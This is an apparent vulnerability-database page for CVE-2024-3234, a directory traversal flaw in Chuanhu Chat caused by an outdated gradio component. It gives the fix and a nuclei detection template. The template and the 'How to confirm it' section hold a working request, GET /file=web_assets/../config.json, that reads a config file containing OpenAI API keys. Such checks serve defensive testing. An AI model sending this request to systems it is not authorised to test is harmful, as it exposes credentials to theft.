HexBrain

Browse / CVEs / CVE-2024-3234

CVE-2024-3234· gaizhenbiao / chuanhuchatgpt· CWE-22

Chuanhu Chat - Directory Traversal

criticalseverity
9.8CVSS score
3.8%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

The gaizhenbiao/chuanhuchatgpt application is vulnerable to a path traversal attack due to its use of an outdated gradio component. The application is designed to restrict user access to resources within the `web_assets` folder. However, the outdated version of gradio it employs is susceptible to path traversal, as identified in CVE-2023-51449. This vulnerability allows unauthorized users to bypass the intended restrictions and access sensitive files, such as `config.json`, which contains API keys. The issue affects the latest version of chuanhuchatgpt prior to the fixed version released on 20240305.

Impact

Unauthenticated attackers can exploit path traversal to access sensitive files including API keys in config.json.

Fix

Update chuanhuchatgpt to the fixed version released on 20240305 or later.

How to confirm it

Send: GET /file=web_assets/../config.json
Positive when: contains "\"openai_api_key\":" and "\"openai_api_type\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2024-3234 -u <target>

The full check
id: CVE-2024-3234

info:
  name: Chuanhu Chat - Directory Traversal
  author: DhiyaneshDk
  severity: critical
  description: |
    The gaizhenbiao/chuanhuchatgpt application is vulnerable to a path traversal attack due to its use of an outdated gradio component. The application is designed to restrict user access to resources within the `web_assets` folder. However, the outdated version of gradio it employs is susceptible to path traversal, as identified in CVE-2023-51449. This vulnerability allows unauthorized users to bypass the intended restrictions and access sensitive files, such as `config.json`, which contains API keys. The issue affects the latest version of chuanhuchatgpt prior to the fixed version released on 20240305.
  impact: |
    Unauthenticated attackers can exploit path traversal to access sensitive files including API keys in config.json.
  remediation: |
    Update chuanhuchatgpt to the fixed version released on 20240305 or later.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3234
    cwe-id: CWE-22
    epss-score: 0.03757
    epss-percentile: 0.89983
    cpe: cpe:2.3:a:gaizhenbiao:chuanhuchatgpt:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: gaizhenbiao
    product: chuanhuchatgpt
  tags: cve,cve2024,chuanhuchatgpt,lfi,vuln,ai

http:
  - raw:
      - |
        GET /file=web_assets/../config.json HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"openai_api_key":'
          - '"openai_api_type":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

Use this check only on systems you are authorised to test. Where the data comes from